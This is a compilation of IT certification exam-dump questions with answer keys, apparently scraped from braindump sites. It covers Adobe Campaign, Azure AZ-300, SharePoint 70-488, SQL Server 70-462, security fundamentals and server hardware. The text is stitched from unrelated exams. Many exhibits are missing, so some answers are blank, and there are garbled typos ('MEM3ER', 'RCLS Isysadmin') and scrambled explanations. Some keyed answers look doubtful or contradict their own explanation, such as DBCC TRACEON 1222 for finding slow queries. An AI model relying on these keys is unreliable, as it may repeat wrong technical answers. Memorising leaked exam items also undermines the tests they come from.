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QUESTION 1
When should you create a content fragment?
A. When dynamic content will be referenced in multiple emails
B. When dynamic content will be referenced in only one email
C. When fixed content will be referenced in only one email
D. When reusable content will be referenced in multiple emails
Correct Answer: D

QUESTION 2
A customer is sending an email delivery that needs to offer a 30% discount to their premium profiles, and a 20%
discount to the remaining profiles of the targeted audience. How would you best approach this requirement?
A. Create a visibility condition that displays the 30% discount to premium profiles only.
B. Create one delivery targeting premium profiles and one delivery targeting non-premium profiles.
C. Create dynamic content with one condition that displays the 30% discount to premium profiles.
D. Create a visibility condition that displays the 20% discount to non-premium profiles only.
Correct Answer: C

QUESTION 3
Every week, new data files are uploaded to the Adobe hosted SFTP server. What is the maximum time limit that files
remain on the SFTP server?
A. 30 days
B. 15 days
C. 20 days
D. 25 days
Correct Answer: B

QUESTION 4
You want to create a link between a custom resource “Office Location” and the Profile resource. Profiles and “Office
Location” each contain a six-character alphanumeric code (location ID) which uniquely define the office location. How
can you create this link?
A. On a custom profile resource, click “Add automatic ID field” and name it location ID and use it to define a link.
B. On a custom profile resource, define the location ID field as an “Identification keys” field.
C. Create a link in “Office Location”, use a specific join condition, and select the location ID fields of Profiles and “Office
Location”.
D. Use the primary key in both tables to define the link.
Correct Answer: B

QUESTION 5
For what two types of data is it best practice to export using the package export process? Choose two.
A. Profile
B. Content Templates
C. Logs
D. Business Data
E. Workflows
Correct Answer: BE

QUESTION 6
Since the addition of a new geographic location to an existing Campaign instance, several users have reported they can
no longer log in to Campaign. What is the most likely cause of this issue?
A. The users belong to parallel units which are or the same level in the hierarchy.
B. Adding a new geographic location automatically updates access rights for existing users.
C. The user\\’s access rights cache in the Admin Console must be refreshed for the changes to appear.
D. Users will not be able to connect as they cannot belong to more than one geographical unit at a time.
Correct Answer: D

QUESTION 7
What three steps are needed to set up the double opt-in process? Choose three.
A. Create a new recurring delivery.
B. Set blacklist field of the Profile to false on double opt-in confirmation.
C. Create a new transactional message.
D. Create a confirmation landing page based on the Blacklist template or the Subscription template.
E. Set blacklist field of the Profile to true on double opt-in confirmation.
F. Create a confirmation landing page based on the Profile acquisition template or the Subscription template
Correct Answer: BCF

QUESTION 8
You want to export a file containing the Label value for all created emails. Which out-of-the-box resource do you need to
query in the Export Activity?
A. Campaign
B. Messages
C. Delivery
D. Logs
Correct Answer: B

QUESTION 9
A customer regularly uses a Query on the eventSubscriptions resource to select all profiles that are subscribed to an
event. What is the best practice for creating this Query?
A. Create a Query on the eventSubscriptions resource and select the email field from the profile link in the explorer
view.
B. Create a filter under Administration > Development > Predefined filters and then select the eventSubscriptions
resource. Create a filter containing two parameters: email and event and use it in the Query.
C. Create a Query on the eventSubscriptions resource and select the email and event fields from this resource in the
Shortcuts menu.
D. Create a new filter definition for the eventSubscriptions resource containing two parameters: email and event and use
this filter in the Query.
Correct Answer: B

QUESTION 10
Review the following error message: The schema for profiles specified in the transition (\\’headxusEmployee\\’) is not
compatible with the schema defined in the delivery template {\\’nmsxecipient\\’). They should be identical.
What is causing this error?
A. There is no reconciliation with profiles.
B. There is no audience set in the delivery.
C. The schema in the delivery template is incorrect.
D. The transition is not linked to the delivery.
Correct Answer: D

QUESTION 11
Which configuration would allow a client to create a user that can access their French (FR) business unit but not allow
them access to German (DE) campaigns:
A. 1. Create new Security Groups named “FR Operators” and “DE Operators”
2.
Map all FR marketing activities to “FR Operators” Security Group
3.
Map the user to “FR Operators” group
B. 1. Create new Org Units named “FR” and “DE”
2.
Create new Security Groups named “FR Operators” and “DE Operators”
3.
Map Security groups to “FR” and “DE” Org Units, respectively
4.
Map all FR marketing activities to “FR” Org Unit
5.
Map the user to “FR Operators” group
C. 1. Create a new Org Unit named “EU”
2.
Create new Security Groups named “FR Operators” and “DE Operators”
3.
Map Security groups to “EU” Org Unit
4.
Map all marketing activities to “EU” Org Unit
5.
Map the user to “FR Operators” group
D. 1. Create new Org Units named “FR” and “DE”
2.
Map all FR. marketing activities to “FR” Org Unit
3.
Map the user to the “FR” Org Unit
Correct Answer: B

QUESTION 12
What are the two steps a developer must do to set up a key-based authentication in order to transfer files to the Adobehosted SFTP? Choose two.
A. Request Adobe support to whitelist IP addresses.
B. Upload a private key in the external account configuration.
C. Upload a public key in the external account configuration.
D. Provide the public key to Adobe support to have it uploaded to the SFTP server.
E. Provide the private key to Adobe support to have it uploaded to the SFTP server.
Correct Answer: AD

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QUESTION 1
SIMULATION
Click to expand each objective. To connect to the Azure portal, type https://portal.azure.com in the browser address
bar.

takecertify AZ-300 exam questions-q1

takecertify AZ-300 exam questions-q1-2

takecertify AZ-300 exam questions-q1-3

When you are finished performing all the tasks, click the `Next\\’ button.
Note that you cannot return to the lab once you click the `Next\\’ button. Scoring occur in the background while you
complete the rest of the exam.
Overview
The following section of the exam is a lab. In this section, you will perform a set of tasks in a live environment. While
most functionality will be available to you as it would be in a live environment, some functionality (e.g., copy and paste,
ability
to navigate to external websites) will not be possible by design.
Scoring is based on the outcome of performing the tasks stated in the lab. In other words, it doesn\\’t matter how you
accomplish the task, if you successfully perform it, you will earn credit for that task.
Labs are not timed separately, and this exam may have more than one lab that you must complete. You can use as
much time as you would like to complete each lab. But, you should manage your time appropriately to ensure that you
are able to complete the lab(s) and all other sections of the exam in the time provided.
Please note that once you submit your work by clicking the Next button within a lab, you will NOT be able to return to
the lab.
To start the lab
You may start the lab by clicking the Next button.
You plan to allow connections between the VNET01-USEA2 and VNET01-USWE2 virtual networks.
You need to ensure that virtual machines can communicate across both virtual networks by using their private IP
address.
The solution must NOT require any virtual network gateways.
What should you do from the Azure portal?
Correct Answer:

QUESTION 2
Which blade should you instruct the finance department auditors to use?
A. Partner information
B. Cost analysis
C. Resource providers
D. Invoices
Correct Answer: D
You can opt in and configure additional recipients to receive your Azure invoice in an email. This feature may not be
available for certain subscriptions such as support offers, Enterprise Agreements, or Azure in Open. 1. Select your subscription from the Subscriptions page. Opt-in for each subscription you own. Click Invoices then Email
my invoice. 

takecertify AZ-300 exam questions-q2

2. Click Opt in and accept the terms.
Scenario: During the testing phase, auditors in the finance department must be able to review all Azure costs from the
past week.
References:
https://docs.microsoft.com/en-us/azure/billing/billing-download-azure-invoice-daily-usage-date

QUESTION 3
You have an Azure subscription that contains 10 virtual machines.
You need to ensure that you receive an email message when any virtual machines are powered off, restarted, or
deallocated.
What is the minimum number of rules and action groups that you require?
A. three rules and three action groups
B. one rule and one action group
C. three rules and one action group
D. one rule and three action groups
Correct Answer: C

QUESTION 4
HOTSPOT
You have an Azure subscription named Subscription1. Subscription1 contains the resources in the following table.

takecertify AZ-300 exam questions-q4

In Azure, you create a private DNS zone named adatum.com. You set the registration virtual network to VNet2. The
adatum.com zone is configured is shown in the following exhibit.

takecertify AZ-300 exam questions-q4-2

For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct
selection is worth one point.
Hot Area:

takecertify AZ-300 exam questions-q4-3

Correct Answer:

takecertify AZ-300 exam questions-q4-4

Box 1: No
Azure DNS provides automatic registration of virtual machines from a single virtual network that\\’s linked to a private
zone as a registration virtual network. VM5 does not belong to the registration virtual network though.
Box 2: No
Forward DNS resolution is supported across virtual networks that are linked to the private zone as resolution virtual
networks. VM5 does belong to a resolution virtual network.
Box 3: Yes
VM6 belongs to registration virtual network, and an A (Host) record exists for VM9 in the DNS zone.
By default, registration virtual networks also act as resolution virtual networks, in the sense that DNS resolution against the zone works from any of the virtual machines within the registration virtual network.
References:
https://docs.microsoft.com/en-us/azure/dns/private-dns-overview

QUESTION 5
Note: This question is part of series of questions that present the same scenario. Each question in the series contains a
unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
A company backs up data to on-premises servers at their main facility. The company currently has 30 TB of archived
data that infrequently used. The facility has download speeds of 100 Mbps and upload speeds of 20 Mbps.
You need to securely transfer all backups to Azure Blob Storage for long-term archival. All backup data must be sent
within seven days.
Solution: Create a file share in Azure Files. Mount the file share to the server and upload the files to the file share.
Transfer the files to Azure Blob Storage.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 6
You have a web app named WebApp1 that uses an Azure App Service plan named Plan1. Plan1 uses the D1 pricing
tier and has an instance count of 1.
You need to ensure that all connections to WebApp1 use HTTPS.
What should you do first?
A. Scale up Plan1.
B. Modify the connection strings for WebApp1.
C. Scale out Plan1.
D. Disable anonymous access to WebApp1.
Correct Answer: A
The D1 (Shared) pricing tier does not support HTTPS.

QUESTION 7
You have a task that includes a WebJob that should run continuously. The WebJob Log exhibit shows the text that is
displayed when the WebJob runs. (Click the WebJob Log tab.)

takecertify AZ-300 exam questions-q7

The WebJob is configured as shown in the WebJob Configuration exhibit. (Click the WebJob Configuration tab.)

takecertify AZ-300 exam questions-q7-2

The WebJob is not functioning as expected. The WebJob Code exhibit has a comment that shows where code should
be added. (Click the WebJob Code tab.) You need to identify any issues with the WebJob. For each of the following
statements, select Yes if the statement is true. Otherwise, select No.
NOTE: Each correct selection is worth one point.
Hot Area:

takecertify AZ-300 exam questions-q7-3

Correct Answer:

takecertify AZ-300 exam questions-q7-4

QUESTION 8
Note: This question is part of series of questions that present the same scenario. Each question in the series contains a
unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have an Azure subscription named Subscription1. Subscription1 contains a resource group named RG1. RG1
contains resources that were deployed by using templates.
You need to view the date and time when the resources were created in RG1.
Solution: From the Subscription blade, you select the subscription, and then click Resource providers.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 9
SIMULATION
Click to expand each objective. To connect to the Azure portal, type https://portal.azure.com in the browser address
bar.

takecertify AZ-300 exam questions-q9

takecertify AZ-300 exam questions-q9-2

takecertify AZ-300 exam questions-q9-3

takecertify AZ-300 exam questions-q9-4

When you are finished performing all the tasks, click the `Next\\’ button.
Note that you cannot return to the lab once you click the `Next\\’ button. Scoring occur in the background while you
complete the rest of the exam.
Overview The following section of the exam is a lab. In this section, you will perform a set of tasks in a live environment.
While most functionality will be available to you as it would be in a live environment, some functionality (e.g., copy and
paste, ability to navigate to external websites) will not be possible by design.
Scoring is based on the outcome of performing the tasks stated in the lab. In other words, it doesn\\’t matter how you
accomplish the task, if you successfully perform it, you will earn credit for that task.
Labs are not timed separately, and this exam may have more than one lab that you must complete. You can use as
much time as you would like to complete each lab. But, you should manage your time appropriately to ensure that you
are able to complete the lab(s) and all other sections of the exam in the time provided.
Please note that once you submit your work by clicking the Next button within a lab, you will NOT be able to return to
the lab.
To start the lab
You may start the lab by clicking the Next button.
You need to allow RDP connections over TCP port 3389 to VM1 from the Internet. The solutions must prevent
connections from the Internet over all other TCP ports.
What should you do from the Azure portal?
Correct Answer: See solution below.
Step 1: Create a new network security group
Step 2: Select your new network security group.

takecertify AZ-300 exam questions-q9-5

Step 3: Select Inbound security rules. Under Add inbound security rule, enter the following Destination: Select Network
security group, and then select the security group you created previously. Destination port ranges: 3389 Protocol: Select
TCP

takecertify AZ-300 exam questions-q9-6

References: https://docs.microsoft.com/en-us/azure/virtual-network/tutorial-filter-network-traffic

QUESTION 10
SIMULATION
Click to expand each objective. To connect to the Azure portal, type https://portal.azure.com in the browser address
bar.

takecertify AZ-300 exam questions-q10

takecertify AZ-300 exam questions-q10-2

takecertify AZ-300 exam questions-q10-3

When you are finished performing all the tasks, click the `Next\\’ button.
Note that you cannot return to the lab once you click the `Next\\’ button. Scoring occur in the background while you
complete the rest of the exam.
Overview
The following section of the exam is a lab. In this section, you will perform a set of tasks in a live environment. While
most functionality will be available to you as it would be in a live environment, some functionality (e.g., copy and paste,
ability
to navigate to external websites) will not be possible by design.
Scoring is based on the outcome of performing the tasks stated in the lab. In other words, it doesn\\’t matter how you
accomplish the task, if you successfully perform it, you will earn credit for that task. Labs are not timed separately, and
this
exam may have more than one lab that you must complete. You can use as much time as you would like to complete
each lab. But, you should manage your time appropriately to ensure that you are able to complete the lab(s) and all
other
sections of the exam in the time provided.
Please note that once you submit your work by clicking the Next button within a lab, you will NOT be able to return to
the lab.
To start the lab
You may start the lab by clicking the Next button.
You need to create a function app named corp8548987n1 that supports sticky sessions. The solution must minimize the
Azure-related costs of the App Service plan.
What should you do from the Azure portal?
Correct Answer:

QUESTION 11
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution. Determine whether the solution meets the stated goals.
You need to meet the vendor notification requirement.
Solution: Update the Delivery API to send emails by using a cloud-based email service.
Does the solution meet the goal?
A. Yes
B. No
Correct Answer: B
https://docs.microsoft.com/en-us/azure/api-management/api-management-howto-configure-notifications

QUESTION 12
You are designing an Azure solution.
The solution must meet the following requirements:
Distribute traffic to different pools of dedicated virtual machines (VMs) based on rules
Provide SSL offloading capabilities
You need to recommend a solution to distribute network traffic.
Which technology should you recommend?
A. server-level firewall rules
B. Azure Application Gateway
C. Azure Traffic Manager
D. Azure Load Balancer
Correct Answer: B
If you require “SSL offloading”, application layer treatment, or wish to delegate certificate management to Azure, you
should use Azure\\’s layer 7 load balancer Application Gateway instead of the Load Balanacer. Incorrect Answers:
D: Because Load Balancer is agnostic to the TCP payload and TLS offload (“SSL”) is not provided. References:
https://docs.microsoft.com/en-us/azure/application-gateway/overview

QUESTION 13
Note: This question is part of series of questions that present the same scenario. Each question in the series contains a
unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have an Azure Active Directory (Azure AD) tenant named Adatum and an Azure Subscription named Subscription1.
Adatum contains a group named Developers. Subscription1 contains a resource group named Dev.
You need to provide the Developers group with the ability to create Azure logic apps in the Dev resource group.
Solution: On Dev, you assign the Contributor role to the Developers group.
Does this meet the goal?
A. Yes
B. No
Correct Answer: A
The Contributor role lets you manage everything except access to resources. It allows you to create and manage
resources of all types, including creating Azure logic apps.
References: https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#contributor

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QUESTION 1
You need to ensure that the CourierMobile app determines whether the franchisee owns the account. What should you do?
A. Use OAuth and App only security. Request the Read right from the http://sharepoint/content/ sitecollection/web/list scope URI.
B. Use OAuth and App+User security. Request the Read right from the http://sharepoint/content/
sitecollection scope URI.
C. Use SPSecurity.RunWithElevatedPrivileges to connect to SharePoint and read from the Accounts list in
the site collection.
D. Use the SharePoint user credentials of the bicycle messenger to connect to SharePoint and read from the Accounts list in the site collection.
070-488 exam Correct Answer: C
Explanation
Explanation/Reference:
QUESTION 2
A franchisee deletes several sites from the franchise’s site collection. The franchisee site collection administrator must recover the sites. You need to instruct the franchisee site collection administrator on how to access the page to recover the sites. What should the site collection administrator do to get to the appropriate page?
A. Select General Settings for the Web Application in Central Administration and change the second stage Recycle Bin settings to 100 percent.
B. Select General Settings for the Web Application in Central Administration and change the first stage Recycle Bin settings to 0 days.
C. Select the Recycle Bin on the Site Settings page. Choose the appropriate sites and select Restore Selection.
D. Select the Recycle Bin in the Quick Launch page. Choose the appropriate sites and select Restore Selection.
Correct Answer: C
Explanation
Explanation/Reference:
Note: The sites have been deleted.They need to be restored.A and B are wrong because modifying the Recycle Bin settings after the sites are deleted will have no effect on the deleted sites.
QUESTION 3
You need to ensure that the CloudManager app can write route progress check-ins to the courier’s microfeed. What should you do? (Each correct answer presents part of the solution. Choose all that apply.)
A. Ensure that SP.RequestExecutor.js can be accessed in a browser window with no errors.
B. Ensure that the CloudManager app has the Manage permission request scoped to the URL for the franchisee’s My Site.
C. Ensure that the MySite host is provisioned for each franchisee.
D. Ensure that all cookies are made available between the My Site and the CloudManager app domain.
E. Ensure that the CloudManager app has the Write permission request scoped to the URL for the franchisee’s My Site.
F. Ensure that SP.UserProfiles.js can be accessed in a browser window with no errors.
70-488 dumps Correct Answer: ABDE
Explanation
Explanation/Reference:
* From scenario:
/ Business Requirements
The FranchiseMonitor app must allow a Franchise employee to upload Appointments.csv to a SharePoint document library in each Franchisee site collection, and send Appointments.csv to the CloudManager app. / The FranchiseMonitor app must display the courier’s location on the bicycle courier’s microfeed on the SharePoint farm if the courier has remained stationary for more than three minutes. / The CloudManager app must implement business logic that parses Appointments.csv and geo- location data and sends Appointments or Appointment cancellations to the CourierMobile app.
QUESTION 4
You need to implement the custom claims provider for the SharePoint farm. Which code segments should you implement? (Each correct answer presents part of the solution. Choose all that apply.)
070-488 dumps

A. Option A
B. Option B
C. Option C
D. Option D
E. Option E
F. Option F
Correct Answer: BDF
Explanation
Explanation/Reference:
* From scenario:
MyClaimsProvider.es
070-488 dumps

QUESTION 5
You need to set the appropriate permissions for the franchise employees’ customer list and customer subsite access.
What should you do?
A. Add franchise employees to the Members group in the CorporateSiteCollection site collection. Break inheritance at the franchisee subsite level. Create a custom role definition at the franchisee subsite level. Add franchise employees to the custom role.
B. Create a custom role definition in the CorporateSiteCollection site collection with Limited Access to the Customers list. Add franchise employees to the custom role at the CorporateSiteCollection site collection. Break inheritance at the subsite level. Add franchise owners to the Owners group at the subsite level.
C. Create a custom role definition in the CorporateSiteCollection site collection with Limited Access to the Customer list. Add franchise employees to the custom role. Allow full inheritance of the role definition and permissions at the site level
D. Add franchise employees to the Visitors group in the CorporateSiteCollection site collection. Break inheritance at the franchisee subsite level. Create a custom role definition at the subsite level with Full Control permissions. Add franchise employees to the custom role.
070-488 pdf Correct Answer: B
Explanation
Explanation/Reference:
QUESTION 6
You need to create rules in the CourierMobile app based on the ItemType that arrives. For which ItemTypes should you test? (Each correct answer presents part of the solution. Choose all that apply.)
A. IPM.Schedule.Meeting.Tent
B. IPM.Note
C. IPM.Schedule.Meeting.Request
D. IPM.Appointment
E. IPM.Schedule.Meeting.Cancelled
F. IPM.Schedule.Meeting.Pos
G. IPM.Schedule.Meeting.Neg
Correct Answer: DE
Explanation
Explanation/Reference:
From scenario:
* The CourierMobile app receives Microsoft Outlook appointments (D) and Outlook appointment cancellations (E) from the CloudManager app. The appointments include the address of the location for pick-up or drop-off.
QUESTION 7
You need to meet the requirements for data storage for the CourierMobile app and the CloudMananger app. Which technologies should you use? (Each correct answer presents part of the solution. Choose all that apply.)
A. Windows Azure SQL Database
B. SharePoint content database
C. Secure Store
D. SQL Server Express LocalDB
E. SharePoint list
070-488 vce Correct Answer: AD
Explanation
Explanation/Reference:
A: SQL Azure in the cloud. lightweight version of Express that has the same programmability features, but
D: LocalDB is a it runs in user mode and has a fast, zero-configuration installation and a short list of prerequisites.
From scenario:
* CourierMobile App
The CourierMobile app must be able to capture more than 30 million data points of location data daily as they occur and upload the location data to the cloud when connected to the Internet.
* Cloudmanager App
/ The CloudManager app must elastically scale to capture courier location data as the number of bicycle couriers increases or decreases. / The CloudManager app must process bicycle courier location data from a data store capable of storing more than 30 million items.

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Question No : 30 – (Topic 1)  You are migrating a database named Orders to a new server that runs Microsoft SQL
Server 2012. You attempt to add the [Corpnet\User1] login to the database. However, you receive the following error message: “User already exists in current database.” You need to configure the [Corpnet\User1] login to be able to access the Orders database and retain the original permissions. You need to achieve this goal by using the minimum required permissions. Which Transact-SQL statement should you use?
A. DROP USER [User1]; CREATE USER [Corpnet\User1] FOR LOGIN [Corpnet\User1]; ALTER ROLE [db_owner] ADD MEM3ER [Corpnet\User1];
 B. ALTER SERVER RCLS Isysadmin] ADD MEMBER [Corpnet\User1];
C. ALTER USER [Corpnet\User1] WITH LOGIN [Corpnet\User1];
D. ALTER ROLE [db owner] ADD MEMBBR [Corpnet\User1];
070-462 exam Answer: C
Explanation:
Question No : 31 – (Topic 1)  You administer a Microsoft SQL Server 2012 database. You configure Transparent Data Encryption (TDE) on the Orders database by using the following statements:
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A. Option A
B. Option B
C. Option C
D. Option D
Answer: C
Question No : 32 DRAG DROP – (Topic 1) You administer a Microsoft SQL Server 2012 server that has multiple databases. You need to ensure that users are unable to create stored procedures that begin with sp_. Which three actions should you perform in sequence? (To answer, move the appropriate actions from the list of actions to the answer area and arrange them in the correct order.)
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Question No : 33 – (Topic 1)  You administer a Microsoft SQL Server 2012 database. You provide temporary securityadmin access to User1 to the database server. You need to know if User1 adds logins to securityadmin. Which server-level audit action group should you use?
A. SERVER_STATE_CHANGE_GROUP
B. SERVER_PRINCIPAL_IMPERSONATION_GROUP
C. SUCCESSFUL_LOGIN_GROUP
D. SERVER_ROLE_MEMBER_CHANGE_GROUP
70-462 dumps Answer: D
Explanation: Explanation/Reference:
SERVER_STATE_CHANGE_GROUP
This event is raised when the SQL Server service state is modified. Equivalent to the Audit Server Starts and Stops Event Class. SERVER_PRINCIPAL_IMPERSONATION_GROUP This event is raised when there is an impersonation within server scope, such as EXECUTE AS <login>. Equivalent to the Audit Server Principal Impersonation Event Class.
SUCCESSFUL_LOGIN_GROUP Indicates that a principal has successfully logged in to SQL Server. Events in this class are raised by new connections or by connections that are reused from a connection pool. Equivalent to the Audit Login Event Class. SERVER_ROLE_MEMBER_CHANGE_GROUP This event is raised whenever a login is added or removed from a fixed server role. This event is raised for the sp_addsrvrolemember and sp_dropsrvrolemember stored procedures. Equivalent to the Audit Add Login to Server Role Event Class. You administer a Microsoft SQL Server 2012 instance.
Question No : 34 – (Topic 1)  You need to stop a blocking process that has an SPID of 64 without stopping other
processes What should you do?
A. Execute the following Transact-SQL statement: EXECUTE sp_KillSPID 64
B. Restart the SQL Server service.
C. Execute the following Transact-SQL statement: KILL 64
D. Execute the following Transact-SQL statement: ALTER SESSION KILL ’64’
Answer: C
 Question No : 35 DRAG DROP – (Topic 1)
 You administer a Microsoft SQL Server 2012 server. A variety of issues occur from time to time in the production environment. You need to identify the appropriate tool for each issue. Which tool or tools should you use? (To answer, drag the appropriate tool or tools to the correct issue or issues in the answer area. Each tool may be used once, more than once, or not at all. You may need to drag the split bar between panes or scroll to view content.)
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Question No : 36 – (Topic 1) You administer a Microsoft SQL Server 2012 database. Users report that an application that accesses the database displays an error, but the error does not provide meaningful information. No entries are found in the SQL Server log or Windows event logs related to the error. You need to identify the root cause of the issue by retrieving the error message. What should you do?
A. Create an Extended Events session by using the sqlserver.error_reported event.
B. Create a SQL Profiler session to capture all ErrorLog and EventLog events.
C. Flag all stored procedures for recompilation by using sp_recompile.
D. Execute sp_who.
070-462 pdf Answer: A
Explanation: Explanation/Reference:
You administer a Microsoft SQL Server 2012 server. One of the databases on the server supports a highly active OLTP application. Users report abnormally long wait times when they submit data into the application.
Question No : 37 – (Topic 1)  You need to identify which queries are taking longer than 1 second to run over an extended period of time. What should you do?
A. use SQL Profiler to trace all queries that are processing on the server. Filter queries that have a Duration value of more than 1,000.
B. Use sp_configure to set a value for blocked process threshold. Create an extended event session.
C. Use the Job Activity monitor to review all processes that are actively running. Review the Job History to find out the duration of each step.
D. Run the sp_who command from a query window.
E. Run the DBCC TRACEON 1222 command from a query window and review the SQL Server event log.
Answer: E
Explanation: Explanation/Reference:
Verified the SQL Profiler and DBCC answers as correct. However, while Profiler will show  this information, the best practice with Profiler is to use it short-term. The question specifically states “over an extended period of time”. That means Profiler wouldn’t be the best tool for this scenario. Therefore, DBCC would be the best answer.

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QUESTION 1
A mobile device user is concerned about geographic positioning information being included in messages sent between
users on a popular social network platform. The user turns off the functionality in the application, but wants to ensure the
application cannot re-enable the setting without the knowledge of the user.
Which of the following mobile device capabilities should the user disable to achieve the stated goal?
A. Device access control
B. Location based services
C. Application control
D. GEO-Tagging
Correct Answer: D


QUESTION 2
A security auditor is putting together a report for the Chief Executive Officer (CEO) on personnel security and its impact
on the security posture of the whole organization. Which of the following would be the MOST important factor to
consider when it comes to personnel security?
A. Insider threats
B. Privilege escalation
C. Hacktivist
D. Phishing through social media
E. Corporate espionage
Correct Answer: A


QUESTION 3
Two users need to send each other emails over unsecured channels. The system should support the principle of nonrepudiation. Which of the following should be used to sign the user\\’s certificates?
A.RA
B. CA
C. CRL
D. CSR
Correct Answer: B

QUESTION 4
A company\\’s user lockout policy is enabled after five unsuccessful login attempts. The help desk notices a user is
repeatedly locked out over the course of a workweek. Upon contacting the user, the help desk discovers the user is on
vacation and does not have network access. Which of the following types of attacks are MOST likely occurring? (Select
two.)
A. Replay
B. Rainbow tables
C. Brute force
D. Pass the hash
E. Dictionary
Correct Answer: CE


QUESTION 5
A bank is experiencing a DoS attack against an application designed to handle 500 IP-based sessions.
in addition, the perimeter router can only handle 1Gbps of traffic.
Which of the following should be implemented to prevent a DoS attacks in the future?
A. Deploy multiple web servers and implement a load balancer
B. Increase the capacity of the perimeter router to 10 Gbps
C. Install a firewall at the network to prevent all attacks
D. Use redundancy across all network devices and services
Correct Answer: D


QUESTION 6
A security analyst receives a notification from the IDS after working hours, indicating a spike in network traffic. Which of
the following BEST describes this type of IDS?
A. Anomaly-based
B. Stateful
C. Host-based
D. Signature-based
Correct Answer: A

QUESTION 7
A website administrator has received an alert from an application designed to check the integrity of the company\\’s
website. The alert indicated that the hash value for a particular MPEG file has changed. Upon further investigation, the
media appears to be the same as it was before the alert.
Which of the following methods has MOST likely been used?
A. Cryptography
B. Time of check/time of use
C. Man in the middle
D. Covert timing
E. Steganography
Correct Answer: E


QUESTION 8
Two users need to securely share encrypted files via email. Company policy prohibits users from sharing credentials or
exchanging encryption keys.
Which of the following can be implemented to enable users to share encrypted data while abiding by company policies?
A. Key escrow
B. Digital signatures
C. PKI
D. Hashing
Correct Answer: C


QUESTION 9
A company wants to ensure that the validity of publicly trusted certificates used by its web server can be determined
even during an extended internet outage. Which of the following should be implemented?
A. Recovery agent
B. Ocsp
C. Crl
D. Key escrow
Correct Answer: B

QUESTION 10
A security analyst is reviewing the following output from an IPS:

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Given this output, which of the following can be concluded? (Select two.)
A. The source IP of the attack is coming from 250.19.18.22.
B. The source IP of the attack is coming from 250.19.18.71.
C. The attacker sent a malformed IGAP packet, triggering the alert.
D. The attacker sent a malformed TCP packet, triggering the alert.
E. The TTL value is outside of the expected range, triggering the alert.
Correct Answer: BC

QUESTION 11
Which of the following is the proper order for logging a user into a system from the first step to the last step?
A. Identification, authentication, authorization
B. Identification, authorization, authentication
C. Authentication, identification, authorization
D. Authentication, identification, authorization
E. Authorization, identification, authentication
Correct Answer: A

QUESTION 12
A new mobile application is being developed in-house. Security reviews did not pick up any major flaws, however
vulnerability scanning results show fundamental issues at the very end of the project cycle.
Which of the following security activities should also have been performed to discover vulnerabilities earlier in the
lifecycle?
A. Architecture review
B. Risk assessment
C. Protocol analysis
D. Code review
Correct Answer: D

QUESTION 13
An application was recently compromised after some malformed data came in via web form. Which of the following
would MOST likely have prevented this?
A. Input validation
B. Proxy server
C. Stress testing
D. Encoding
Correct Answer: A

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QUESTION 1
Which of the following is BEST described as a storage system that can be connected to multiple servers through a fiber
channel?
A. JBOD
B. SAN
C. DAS
D. NAS
Correct Answer: B


QUESTION 2
A new server has two drives and a RAID controller. Which of the following is an option for configuring the storage on this
server?
A. RAID 0
B. RAID 5
C. RAID 6
D. RAID 10
Correct Answer: A


QUESTION 3
An administrator is decommissioning a company\\’s old accounting system and will be sending all the hardware to an offsite recycler. Which of the following is the BEST method for the administrator to ensure no company data will be
exposed before sending drives to the recycler?
A. Delete both the files and the folders from the hard drives, and then send them to the recycler
B. After logging out and powering down the server, send the drives to the recycler
C. Format all drives using the OS, and then send the drives to the recycler
D. Physically destroy the drives, and then send the drives to the recycler
Correct Answer: D


QUESTION 4
A user in the accounting department reports that print jobs are not printing. A user in the software development
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the following should be the administrator\\’s FIRST step?
A. Determine whether the server is out of virtual memory.
B. Check whether the print spooler service has started.
C. Reboot the print server.
D. Have the users reboot their workstations.
Correct Answer: B


QUESTION 5
A technician is asked to install an additional NIC in a server. Which of the following hardware considerations would be
BEST for the technician to make?
A. Power consumption
B. Bus type and speed
C. CPU stepping
D. CAS latency
Correct Answer: B


QUESTION 6
A systems administrator has performed a memory upgrade on a server. The server does not recognize the new
memory. Which of the following is the MOST likely cause?
A. The CPU does not support the upgraded amount of memory
B. The HDD firmware needs to be updated
C. The new memory was installed incorrectly
D. The original memory is defective
Correct Answer: A

QUESTION 7
A technician is configuring a new server on the network. The technician wants the server to be a default gateway for
network devices. Which of the following should the technician use to BEST provide the server with the proper IP
address?
A. A static IP address outside of the DHCP scope
B. A static IP address with a scope reservation
C. A dynamic IP address assigned by the DHCP server
D. An IP address that can be publicly routed
Correct Answer: B

QUESTION 8
A system administrator is asked to set up several physical file servers that have recently crashed due to a power failure.
Which of the following documents should the administrator refer to in order to complete this task?
A. Server configuration documentation
B. Network diagram
C. Asset management documentation
D. Dataflow diagram
Correct Answer: A

QUESTION 9
A blade chassis can hold 16 half-height blades or eight full-height blades. Which of the following is the MAXIMUM
number of half-height blades that can be installed in the chassis if six full-height blades are already installed?
A. 2
B. 4
C. 8
D. 16
Correct Answer: B

QUESTION 10
A system administrator is given a server with an existing OS installed and four empty SAS bays. The system
administrator is asked to set up a new data drive for testing with 100GB of data. For the best possible performance,
which of the following should the system administrator select for the data storage?
A. SCSI
B. SATA
C. Solid state drive
D. Flash drive
Correct Answer: C

QUESTION 11
A server administrator suspects that an unauthorized email relay agent is running on a web server. The web server has
a hostname of web1.example.com and an IP address of 199.90.89.51.
Which of the following commands should the server administrator execute to verify these suspicions?
A. telnet web1.example.com 25
B. telnet web1.example.com 23
C. telnet 199.90.89.51
D. telnet 199.90.89.51 80
Correct Answer: A

QUESTION 12
A technician needs to install an operating system patch on a virtual server. Which of the following backup types should
the technician perform prior to the patch installation that will allow the server to be restored the FASTEST?
A. Snapshot
B. Incremental
C. Differential
D. Full
Correct Answer: A

QUESTION 13
A blade server chassis has two power supplies. Which of the following is a benefit of a technician connecting each
power supply to a separate UPS unit?
A. Quality of service
B. Fault tolerance
C. Traffic shaping
D. Load balancing
Correct Answer: B

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QUESTION 1
